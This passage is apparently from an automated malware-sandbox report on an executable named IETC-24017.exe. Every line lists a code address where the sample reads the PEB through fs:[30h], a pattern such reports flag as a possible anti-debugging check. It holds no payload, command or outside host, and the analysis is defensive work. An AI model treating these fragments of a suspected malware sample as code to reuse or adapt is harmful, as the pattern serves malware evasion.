Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BA250 mov eax, dword ptr fs:[00000030h]	3_2_018BA250
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01804260 mov eax, dword ptr fs:[00000030h]	3_2_01804260
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01804260 mov eax, dword ptr fs:[00000030h]	3_2_01804260
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01804260 mov eax, dword ptr fs:[00000030h]	3_2_01804260
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274 mov eax, dword ptr fs:[00000030h]	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01802582 mov eax, dword ptr fs:[00000030h]	3_2_01802582
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01802582 mov ecx, dword ptr fs:[00000030h]	3_2_01802582
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01834588 mov eax, dword ptr fs:[00000030h]	3_2_01834588
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E59C mov eax, dword ptr fs:[00000030h]	3_2_0183E59C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018805A7 mov eax, dword ptr fs:[00000030h]	3_2_018805A7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018805A7 mov eax, dword ptr fs:[00000030h]	3_2_018805A7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018805A7 mov eax, dword ptr fs:[00000030h]	3_2_018805A7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018245B1 mov eax, dword ptr fs:[00000030h]	3_2_018245B1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018245B1 mov eax, dword ptr fs:[00000030h]	3_2_018245B1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E5CF mov eax, dword ptr fs:[00000030h]	3_2_0183E5CF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E5CF mov eax, dword ptr fs:[00000030h]	3_2_0183E5CF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018065D0 mov eax, dword ptr fs:[00000030h]	3_2_018065D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A5D0 mov eax, dword ptr fs:[00000030h]	3_2_0183A5D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A5D0 mov eax, dword ptr fs:[00000030h]	3_2_0183A5D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018025E0 mov eax, dword ptr fs:[00000030h]	3_2_018025E0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	3_2_0182E5E7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C5ED mov eax, dword ptr fs:[00000030h]	3_2_0183C5ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C5ED mov eax, dword ptr fs:[00000030h]	3_2_0183C5ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01896500 mov eax, dword ptr fs:[00000030h]	3_2_01896500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4500 mov eax, dword ptr fs:[00000030h]	3_2_018D4500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4500 mov eax, dword ptr fs:[00000030h]	3_2_018D4500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4500 mov eax, dword ptr fs:[00000030h]	3_2_018D4500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4500 mov eax, dword ptr fs:[00000030h]	3_2_018D4500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4500 mov eax, dword ptr fs:[00000030h]	3_2_018D4500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4500 mov eax, dword ptr fs:[00000030h]	3_2_018D4500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4500 mov eax, dword ptr fs:[00000030h]	3_2_018D4500
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810535 mov eax, dword ptr fs:[00000030h]	3_2_01810535
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810535 mov eax, dword ptr fs:[00000030h]	3_2_01810535
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810535 mov eax, dword ptr fs:[00000030h]	3_2_01810535
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810535 mov eax, dword ptr fs:[00000030h]	3_2_01810535
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810535 mov eax, dword ptr fs:[00000030h]	3_2_01810535
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810535 mov eax, dword ptr fs:[00000030h]	3_2_01810535
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E53E mov eax, dword ptr fs:[00000030h]	3_2_0182E53E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E53E mov eax, dword ptr fs:[00000030h]	3_2_0182E53E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E53E mov eax, dword ptr fs:[00000030h]	3_2_0182E53E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E53E mov eax, dword ptr fs:[00000030h]	3_2_0182E53E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E53E mov eax, dword ptr fs:[00000030h]	3_2_0182E53E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808550 mov eax, dword ptr fs:[00000030h]	3_2_01808550
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808550 mov eax, dword ptr fs:[00000030h]	3_2_01808550
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183656A mov eax, dword ptr fs:[00000030h]	3_2_0183656A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183656A mov eax, dword ptr fs:[00000030h]	3_2_0183656A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183656A mov eax, dword ptr fs:[00000030h]	3_2_0183656A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BA49A mov eax, dword ptr fs:[00000030h]	3_2_018BA49A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F645D mov eax, dword ptr fs:[00000030h]	3_2_017F645D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018064AB mov eax, dword ptr fs:[00000030h]	3_2_018064AB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018344B0 mov ecx, dword ptr fs:[00000030h]	3_2_018344B0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188A4B0 mov eax, dword ptr fs:[00000030h]	3_2_0188A4B0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FC427 mov eax, dword ptr fs:[00000030h]	3_2_017FC427
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FE420 mov eax, dword ptr fs:[00000030h]	3_2_017FE420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FE420 mov eax, dword ptr fs:[00000030h]	3_2_017FE420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FE420 mov eax, dword ptr fs:[00000030h]	3_2_017FE420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018004E5 mov ecx, dword ptr fs:[00000030h]	3_2_018004E5
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01838402 mov eax, dword ptr fs:[00000030h]	3_2_01838402
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01838402 mov eax, dword ptr fs:[00000030h]	3_2_01838402
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01838402 mov eax, dword ptr fs:[00000030h]	3_2_01838402
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886420 mov eax, dword ptr fs:[00000030h]	3_2_01886420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886420 mov eax, dword ptr fs:[00000030h]	3_2_01886420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886420 mov eax, dword ptr fs:[00000030h]	3_2_01886420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886420 mov eax, dword ptr fs:[00000030h]	3_2_01886420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886420 mov eax, dword ptr fs:[00000030h]	3_2_01886420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886420 mov eax, dword ptr fs:[00000030h]	3_2_01886420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886420 mov eax, dword ptr fs:[00000030h]	3_2_01886420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E443 mov eax, dword ptr fs:[00000030h]	3_2_0183E443
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182245A mov eax, dword ptr fs:[00000030h]	3_2_0182245A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BA456 mov eax, dword ptr fs:[00000030h]	3_2_018BA456
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188C460 mov ecx, dword ptr fs:[00000030h]	3_2_0188C460
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182A470 mov eax, dword ptr fs:[00000030h]	3_2_0182A470
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182A470 mov eax, dword ptr fs:[00000030h]	3_2_0182A470
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182A470 mov eax, dword ptr fs:[00000030h]	3_2_0182A470
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A678E mov eax, dword ptr fs:[00000030h]	3_2_018A678E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B47A0 mov eax, dword ptr fs:[00000030h]	3_2_018B47A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018007AF mov eax, dword ptr fs:[00000030h]	3_2_018007AF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180C7C0 mov eax, dword ptr fs:[00000030h]	3_2_0180C7C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018807C3 mov eax, dword ptr fs:[00000030h]	3_2_018807C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188E7E1 mov eax, dword ptr fs:[00000030h]	3_2_0188E7E1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018227ED mov eax, dword ptr fs:[00000030h]	3_2_018227ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018227ED mov eax, dword ptr fs:[00000030h]	3_2_018227ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018227ED mov eax, dword ptr fs:[00000030h]	3_2_018227ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018047FB mov eax, dword ptr fs:[00000030h]	3_2_018047FB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018047FB mov eax, dword ptr fs:[00000030h]	3_2_018047FB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C700 mov eax, dword ptr fs:[00000030h]	3_2_0183C700
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800710 mov eax, dword ptr fs:[00000030h]	3_2_01800710
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01830710 mov eax, dword ptr fs:[00000030h]	3_2_01830710
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C720 mov eax, dword ptr fs:[00000030h]	3_2_0183C720
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C720 mov eax, dword ptr fs:[00000030h]	3_2_0183C720
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187C730 mov eax, dword ptr fs:[00000030h]	3_2_0187C730
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183273C mov eax, dword ptr fs:[00000030h]	3_2_0183273C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183273C mov ecx, dword ptr fs:[00000030h]	3_2_0183273C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183273C mov eax, dword ptr fs:[00000030h]	3_2_0183273C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183674D mov esi, dword ptr fs:[00000030h]	3_2_0183674D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183674D mov eax, dword ptr fs:[00000030h]	3_2_0183674D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183674D mov eax, dword ptr fs:[00000030h]	3_2_0183674D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800750 mov eax, dword ptr fs:[00000030h]	3_2_01800750
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842750 mov eax, dword ptr fs:[00000030h]	3_2_01842750
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842750 mov eax, dword ptr fs:[00000030h]	3_2_01842750
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188E75D mov eax, dword ptr fs:[00000030h]	3_2_0188E75D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01884755 mov eax, dword ptr fs:[00000030h]	3_2_01884755
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808770 mov eax, dword ptr fs:[00000030h]	3_2_01808770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770 mov eax, dword ptr fs:[00000030h]	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01804690 mov eax, dword ptr fs:[00000030h]	3_2_01804690
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01804690 mov eax, dword ptr fs:[00000030h]	3_2_01804690
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C6A6 mov eax, dword ptr fs:[00000030h]	3_2_0183C6A6
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018366B0 mov eax, dword ptr fs:[00000030h]	3_2_018366B0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A6C7 mov ebx, dword ptr fs:[00000030h]	3_2_0183A6C7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A6C7 mov eax, dword ptr fs:[00000030h]	3_2_0183A6C7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0187E6F2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0187E6F2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0187E6F2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	3_2_0187E6F2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018806F1 mov eax, dword ptr fs:[00000030h]	3_2_018806F1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018806F1 mov eax, dword ptr fs:[00000030h]	3_2_018806F1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181260B mov eax, dword ptr fs:[00000030h]	3_2_0181260B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181260B mov eax, dword ptr fs:[00000030h]	3_2_0181260B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181260B mov eax, dword ptr fs:[00000030h]	3_2_0181260B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181260B mov eax, dword ptr fs:[00000030h]	3_2_0181260B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181260B mov eax, dword ptr fs:[00000030h]	3_2_0181260B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181260B mov eax, dword ptr fs:[00000030h]	3_2_0181260B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181260B mov eax, dword ptr fs:[00000030h]	3_2_0181260B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E609 mov eax, dword ptr fs:[00000030h]	3_2_0187E609
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01842619 mov eax, dword ptr fs:[00000030h]	3_2_01842619
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01836620 mov eax, dword ptr fs:[00000030h]	3_2_01836620
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01838620 mov eax, dword ptr fs:[00000030h]	3_2_01838620
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E627 mov eax, dword ptr fs:[00000030h]	3_2_0181E627
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180262C mov eax, dword ptr fs:[00000030h]	3_2_0180262C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181C640 mov eax, dword ptr fs:[00000030h]	3_2_0181C640
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C866E mov eax, dword ptr fs:[00000030h]	3_2_018C866E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C866E mov eax, dword ptr fs:[00000030h]	3_2_018C866E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A660 mov eax, dword ptr fs:[00000030h]	3_2_0183A660
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A660 mov eax, dword ptr fs:[00000030h]	3_2_0183A660
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01832674 mov eax, dword ptr fs:[00000030h]	3_2_01832674
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0 mov eax, dword ptr fs:[00000030h]	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018009AD mov eax, dword ptr fs:[00000030h]	3_2_018009AD
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018009AD mov eax, dword ptr fs:[00000030h]	3_2_018009AD
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018889B3 mov esi, dword ptr fs:[00000030h]	3_2_018889B3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018889B3 mov eax, dword ptr fs:[00000030h]	3_2_018889B3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018889B3 mov eax, dword ptr fs:[00000030h]	3_2_018889B3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018969C0 mov eax, dword ptr fs:[00000030h]	3_2_018969C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0180A9D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0180A9D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0180A9D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0180A9D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0180A9D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0180A9D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018349D0 mov eax, dword ptr fs:[00000030h]	3_2_018349D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CA9D3 mov eax, dword ptr fs:[00000030h]	3_2_018CA9D3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F8918 mov eax, dword ptr fs:[00000030h]	3_2_017F8918
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F8918 mov eax, dword ptr fs:[00000030h]	3_2_017F8918
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188E9E0 mov eax, dword ptr fs:[00000030h]	3_2_0188E9E0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018329F9 mov eax, dword ptr fs:[00000030h]	3_2_018329F9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018329F9 mov eax, dword ptr fs:[00000030h]	3_2_018329F9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E908 mov eax, dword ptr fs:[00000030h]	3_2_0187E908
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E908 mov eax, dword ptr fs:[00000030h]	3_2_0187E908
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188C912 mov eax, dword ptr fs:[00000030h]	3_2_0188C912
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188892A mov eax, dword ptr fs:[00000030h]	3_2_0188892A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0189892B mov eax, dword ptr fs:[00000030h]	3_2_0189892B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01880946 mov eax, dword ptr fs:[00000030h]	3_2_01880946
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01826962 mov eax, dword ptr fs:[00000030h]	3_2_01826962
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01826962 mov eax, dword ptr fs:[00000030h]	3_2_01826962
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01826962 mov eax, dword ptr fs:[00000030h]	3_2_01826962
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0184096E mov eax, dword ptr fs:[00000030h]	3_2_0184096E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0184096E mov edx, dword ptr fs:[00000030h]	3_2_0184096E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0184096E mov eax, dword ptr fs:[00000030h]	3_2_0184096E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A4978 mov eax, dword ptr fs:[00000030h]	3_2_018A4978
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A4978 mov eax, dword ptr fs:[00000030h]	3_2_018A4978
